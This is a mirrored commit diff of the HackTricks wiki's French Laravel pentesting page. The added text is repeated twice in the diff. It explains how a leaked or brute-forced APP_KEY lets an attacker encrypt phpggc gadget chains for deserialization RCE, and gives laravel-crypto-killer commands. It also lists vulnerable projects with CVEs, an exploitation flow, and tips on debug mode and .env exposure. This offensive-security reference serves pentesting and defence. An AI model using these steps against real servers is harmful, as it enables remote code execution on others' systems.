mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/laravel.md']
This commit is contained in:
parent
5e5546ad02
commit
006e3fadf5
@ -1,26 +1,111 @@
|
||||
# Laravel
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
|
||||
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en arrière-plan (`Illuminate\\Encryption\\Encrypter`).
|
||||
Le texte chiffré brut qui est finalement **envoyé au client** est **Base64 d'un objet JSON** comme :
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
"value": "Base64(ciphertext)",
|
||||
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` va `serialize()` le texte en clair par défaut, tandis que `decrypt($payload, $unserialize=true)` **va automatiquement `unserialize()`** la valeur décryptée. Par conséquent, **tout attaquant qui connaît le secret de 32 octets `APP_KEY` peut créer un objet PHP sérialisé chiffré et obtenir un RCE via des méthodes magiques (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Injectez la chaîne produite dans n'importe quel point de `decrypt()` vulnérable (paramètre de route, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatise tout le processus et ajoute un mode **bruteforce** pratique :
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
|
||||
# Decrypt a captured cookie / token
|
||||
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Le script prend en charge de manière transparente à la fois les charges utiles CBC et GCM et régénère le champ HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Modèles vulnérables dans le monde réel
|
||||
|
||||
| Projet | Sink vulnérable | Chaîne de gadgets |
|
||||
|--------|-----------------|-------------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` lorsque `Passport::withCookieSerialization()` est activé | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 |
|
||||
|
||||
Le flux d'exploitation est toujours :
|
||||
1. Obtenir `APP_KEY` (exemples par défaut, fuite Git, fuite config/.env, ou brute-force)
|
||||
2. Générer un gadget avec **PHPGGC**
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. Livrer la charge utile via le paramètre/cookie vulnérable → **RCE**
|
||||
|
||||
---
|
||||
|
||||
## Découverte de masse d'APP_KEY via brute-force de cookie
|
||||
|
||||
Parce que chaque nouvelle réponse Laravel définit au moins 1 cookie chiffré (`XSRF-TOKEN` et généralement `laravel_session`), **les scanners internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés** qui peuvent être attaqués hors ligne.
|
||||
|
||||
Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :
|
||||
* Ensemble de données juillet 2024 » 580 k tokens, **3,99 % des clés craquées** (≈23 k)
|
||||
* Ensemble de données mai 2025 » 625 k tokens, **3,56 % des clés craquées**
|
||||
* >1 000 serveurs toujours vulnérables à l'ancien CVE-2018-15133 car les tokens contiennent directement des données sérialisées.
|
||||
* Réutilisation massive de clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur livrées avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
L'outil Go privé **nounours** pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.
|
||||
|
||||
---
|
||||
|
||||
## Références
|
||||
* [Laravel: analyse de la fuite d'APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – Chaînes de gadgets PHP génériques](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Astuces Laravel
|
||||
|
||||
### Mode de débogage
|
||||
### Mode débogage
|
||||
|
||||
Si Laravel est en **mode de débogage**, vous pourrez accéder au **code** et aux **données sensibles**.\
|
||||
Par exemple `http://127.0.0.1:8000/profiles`:
|
||||
Si Laravel est en **mode débogage**, vous pourrez accéder au **code** et aux **données sensibles**.\
|
||||
Par exemple `http://127.0.0.1:8000/profiles` :
|
||||
|
||||
.png>)
|
||||
|
||||
Ceci est généralement nécessaire pour exploiter d'autres CVE RCE de Laravel.
|
||||
Ceci est généralement nécessaire pour exploiter d'autres CVE RCE Laravel.
|
||||
|
||||
### .env
|
||||
|
||||
Laravel sauvegarde l'APP qu'il utilise pour chiffrer les cookies et d'autres identifiants dans un fichier appelé `.env` qui peut être accessible en utilisant un certain chemin de traversée sous : `/../.env`
|
||||
Laravel enregistre l'APP qu'il utilise pour chiffrer les cookies et d'autres identifiants dans un fichier appelé `.env` qui peut être accessible en utilisant un certain chemin de traversée sous : `/../.env`
|
||||
|
||||
Laravel affichera également cette information sur la page de débogage (qui apparaît lorsque Laravel trouve une erreur et qu'elle est activée).
|
||||
|
||||
En utilisant la clé secrète APP_KEY de Laravel, vous pouvez déchiffrer et rechiffrer les cookies :
|
||||
En utilisant la clé secrète APP_KEY de Laravel, vous pouvez déchiffrer et ré-encrypter les cookies :
|
||||
|
||||
### Déchiffrer le cookie
|
||||
```python
|
||||
@ -98,5 +183,87 @@ Une autre désérialisation : [https://github.com/ambionics/laravel-exploits](ht
|
||||
|
||||
Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
|
||||
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en arrière-plan (`Illuminate\\Encryption\\Encrypter`).
|
||||
Le texte chiffré brut qui est finalement **envoyé au client** est **Base64 d'un objet JSON** comme :
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
"value": "Base64(ciphertext)",
|
||||
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` va `serialize()` le texte en clair par défaut, tandis que `decrypt($payload, $unserialize=true)` **va automatiquement `unserialize()`** la valeur décryptée. Par conséquent, **tout attaquant qui connaît le secret de 32 octets `APP_KEY` peut créer un objet PHP sérialisé chiffré et obtenir RCE via des méthodes magiques (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
Injectez la chaîne produite dans n'importe quel point de `decrypt()` vulnérable (paramètre de route, cookie, session, …).
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatise tout le processus et ajoute un mode **bruteforce** pratique :
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
|
||||
# Decrypt a captured cookie / token
|
||||
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
Le script prend en charge de manière transparente à la fois les charges utiles CBC et GCM et régénère le champ HMAC/tag.
|
||||
|
||||
---
|
||||
|
||||
## Modèles vulnérables dans le monde réel
|
||||
|
||||
| Projet | Sink vulnérable | Chaîne de gadgets |
|
||||
|--------|-----------------|-------------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` lorsque `Passport::withCookieSerialization()` est activé | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 |
|
||||
|
||||
Le flux d'exploitation est toujours :
|
||||
1. Obtenir `APP_KEY` (exemples par défaut, fuite Git, fuite config/.env ou brute-force)
|
||||
2. Générer un gadget avec **PHPGGC**
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. Livrer la charge utile via le paramètre/cookie vulnérable → **RCE**
|
||||
|
||||
---
|
||||
|
||||
## Découverte de masse d'APP_KEY via brute-force de cookie
|
||||
|
||||
Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (`XSRF-TOKEN` et généralement `laravel_session`), **les scanners Internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés** qui peuvent être attaqués hors ligne.
|
||||
|
||||
Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :
|
||||
* Ensemble de données juillet 2024 » 580 k tokens, **3,99 % des clés craquées** (≈23 k)
|
||||
* Ensemble de données mai 2025 » 625 k tokens, **3,56 % des clés craquées**
|
||||
* >1 000 serveurs toujours vulnérables à la CVE-2018-15133 héritée car les tokens contiennent directement des données sérialisées.
|
||||
* Réutilisation massive des clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur fournies avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
L'outil Go privé **nounours** pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.
|
||||
|
||||
---
|
||||
|
||||
## Références
|
||||
* [Laravel : analyse de la fuite d'APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – Chaînes de gadgets PHP génériques](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user